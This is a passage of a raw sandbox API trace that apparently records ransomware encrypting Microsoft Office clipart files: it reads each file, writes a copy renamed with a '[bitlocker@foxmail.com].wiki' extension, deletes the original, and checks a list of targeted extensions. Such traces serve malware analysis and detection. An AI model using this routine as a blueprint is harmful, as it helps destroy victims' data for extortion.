lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.789] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.789] SetEndOfFile (hFile=0x1dc) returned 1 [0191.789] CloseHandle (hObject=0x1dc) returned 1 [0191.789] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.789] SetEndOfFile (hFile=0x1f4) returned 1 [0191.790] CloseHandle (hObject=0x1f4) returned 1 [0191.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0191.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.790] lstrlenW (lpString=".doc") returned 4 [0191.790] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.790] lstrlenW (lpString=".docx") returned 5 [0191.790] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0191.790] lstrlenW (lpString=".pdf") returned 4 [0191.790] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.790] lstrlenW (lpString=".xls") returned 4 [0191.790] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.791] lstrlenW (lpString=".xlsx") returned 5 [0191.791] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0191.791] lstrlenW (lpString=".ppt") returned 4 [0191.791] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.791] lstrlenW (lpString=".zip") returned 4 [0191.791] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.791] lstrlenW (lpString=".rar") returned 4 [0191.791] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.791] lstrlenW (lpString=".bz2") returned 4 [0191.791] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.791] lstrlenW (lpString=".7z") returned 3 [0191.791] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.791] lstrlenW (lpString=".dbf") returned 4 [0191.791] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.791] lstrlenW (lpString=".1cd") returned 4 [0191.791] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.791] lstrlenW (lpString=".jpg") returned 4 [0191.791] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.791] lstrlenW (lpString=".doc") returned 4 [0191.791] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.791] lstrlenW (lpString=".docx") returned 5 [0191.791] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0191.791] lstrlenW (lpString=".pdf") returned 4 [0191.792] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.792] lstrlenW (lpString=".xls") returned 4 [0191.792] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.792] lstrlenW (lpString=".xlsx") returned 5 [0191.792] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0191.792] lstrlenW (lpString=".ppt") returned 4 [0191.792] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.792] lstrlenW (lpString=".zip") returned 4 [0191.792] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.792] lstrlenW (lpString=".rar") returned 4 [0191.792] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.792] lstrlenW (lpString=".bz2") returned 4 [0191.792] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.792] lstrlenW (lpString=".7z") returned 3 [0191.792] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.792] lstrlenW (lpString=".dbf") returned 4 [0191.792] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.792] lstrlenW (lpString=".1cd") returned 4 [0191.792] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0191.792] lstrlenW (lpString=".jpg") returned 4 [0191.792] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.792] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.792] lstrlenW (lpString="J0099197.GIF") returned 12 [0191.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.793] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10898) returned 1 [0191.793] CloseHandle (hObject=0x1f4) returned 1 [0191.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 0x20 [0191.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.793] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.793] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.796] GetLastError () returned 0x0 [0191.796] ReadFile (in: hFile=0x1f4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a92, lpOverlapped=0x0) returned 1 [0191.805] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2aa0, lpOverlapped=0x0) returned 1 [0191.806] ReadFile (in: hFile=0x1f4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.806] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.806] SetEndOfFile (hFile=0x1dc) returned 1 [0191.806] CloseHandle (hObject=0x1dc) returned 1 [0191.806] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.806] SetEndOfFile (hFile=0x1f4) returned 1 [0191.807] CloseHandle (hObject=0x1f4) returned 1 [0191.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0191.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.808] lstrlenW (lpString=".doc") returned 4 [0191.808] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.808] lstrlenW (lpString=".docx") returned 5 [0191.808] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0191.808] lstrlenW (lpString=".pdf") returned 4 [0191.808] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.808] lstrlenW (lpString=".xls") returned 4 [0191.808] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.808] lstrlenW (lpString=".xlsx") returned 5 [0191.808] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0191.808] lstrlenW (lpString=".ppt") returned 4 [0191.808] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.808] lstrlenW (lpString=".zip") returned 4 [0191.808] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.808] lstrlenW (lpString=".rar") returned 4 [0191.808] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.808] lstrlenW (lpString=".bz2") returned 4 [0191.808] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.808] lstrlenW (lpString=".7z") returned 3 [0191.808] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.808] lstrlenW (lpString=".dbf") returned 4 [0191.808] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.808] lstrlenW (lpString=".1cd") returned 4 [0191.808] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.808] lstrlenW (lpString=".jpg") returned 4 [0191.810] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.810] lstrlenW (lpString=".doc") returned 4 [0191.810] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.810] lstrlenW (lpString=".docx") returned 5 [0191.810] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0191.810] lstrlenW (lpString=".pdf") returned 4 [0191.810] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.810] lstrlenW (lpString=".xls") returned 4 [0191.810] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.810] lstrlenW (lpString=".xlsx") returned 5 [0191.810] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0191.810] lstrlenW (lpString=".ppt") returned 4 [0191.810] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.810] lstrlenW (lpString=".zip") returned 4 [0191.810] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.810] lstrlenW (lpString=".rar") returned 4 [0191.810] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.810] lstrlenW (lpString=".bz2") returned 4 [0191.810] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.810] lstrlenW (lpString=".7z") returned 3 [0191.810] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.810] lstrlenW (lpString=".dbf") returned 4 [0191.810] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.811] lstrlenW (lpString=".1cd") returned 4 [0191.811] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0191.811] lstrlenW (lpString=".jpg") returned 4 [0191.811] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.811] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.811] lstrlenW (lpString="J0099199.GIF") returned 12 [0191.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.811] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=33975) returned 1 [0191.811] CloseHandle (hObject=0x1f4) returned 1 [0191.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 0x20 [0191.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.812] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.812] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.812] GetLastError () returned 0x0 [0191.812] ReadFile (in: hFile=0x1f4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x84b7, lpOverlapped=0x0) returned 1 [0191.823] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x84c0, lpOverlapped=0x0) returned 1 [0191.824] ReadFile (in: hFile=0x1f4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.824] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.824] SetEndOfFile (hFile=0x1dc) returned 1 [0191.825] CloseHandle (hObject=0x1dc) returned 1 [0191.825] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.825] SetEndOfFile (hFile=0x1f4) returned 1 [0191.826] CloseHandle (hObject=0x1f4) returned 1 [0191.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0191.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.826] lstrlenW (lpString=".doc") returned 4 [0191.826] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.826] lstrlenW (lpString=".docx") returned 5 [0191.826] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0191.826] lstrlenW (lpString=".pdf") returned 4 [0191.826] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.826] lstrlenW (lpString=".xls") returned 4 [0191.826] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.826] lstrlenW (lpString=".xlsx") returned 5 [0191.826] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0191.826] lstrlenW (lpString=".ppt") returned 4 [0191.826] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.826] lstrlenW (lpString=".zip") returned 4 [0191.826] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.826] lstrlenW (lpString=".rar") returned 4 [0191.826] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.826] lstrlenW (lpString=".bz2") returned 4 [0191.826] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.827] lstrlenW (lpString=".7z") returned 3 [0191.827] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.827] lstrlenW (lpString=".dbf") returned 4 [0191.827] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.827] lstrlenW (lpString=".1cd") returned 4 [0191.827] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.827] lstrlenW (lpString=".jpg") returned 4 [0191.827] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.827] lstrlenW (lpString=".doc") returned 4 [0191.827] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.827] lstrlenW (lpString=".docx") returned 5 [0191.827] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0191.827] lstrlenW (lpString=".pdf") returned 4 [0191.827] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.827] lstrlenW (lpString=".xls") returned 4 [0191.827] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.827] lstrlenW (lpString=".xlsx") returned 5 [0191.827] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0191.827] lstrlenW (lpString=".ppt") returned 4 [0191.827] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.827] lstrlenW (lpString=".zip") returned 4 [0191.827] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.827] lstrlenW (lpString=".rar") returned 4 [0191.827] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.827] lstrlenW (lpString=".bz2") returned 4 [0191.827] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.827] lstrlenW (lpString=".7z") returned 3 [0191.828] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.828] lstrlenW (lpString=".dbf") returned 4 [0191.828] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.828] lstrlenW (lpString=".1cd") returned 4 [0191.828] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0191.828] lstrlenW (lpString=".jpg") returned 4 [0191.828] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.828] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.828] lstrlenW (lpString="J0099201.GIF") returned 12 [0191.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.828] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=51401) returned 1 [0191.828] CloseHandle (hObject=0x1f4) returned 1 [0191.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 0x20 [0191.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.829] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.829] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.829] GetLastError () returned 0x0 [0191.829] ReadFile (in: hFile=0x1f4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xc8c9, lpOverlapped=0x0) returned 1 [0191.839] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc8d0, lpOverlapped=0x0) returned 1 [0191.844] ReadFile (in: hFile=0x1f4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.844] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.844] SetEndOfFile (hFile=0x1dc) returned 1 [0191.844] CloseHandle (hObject=0x1dc) returned 1 [0191.845] SetFilePointerEx (in: hFile=0x1f4, 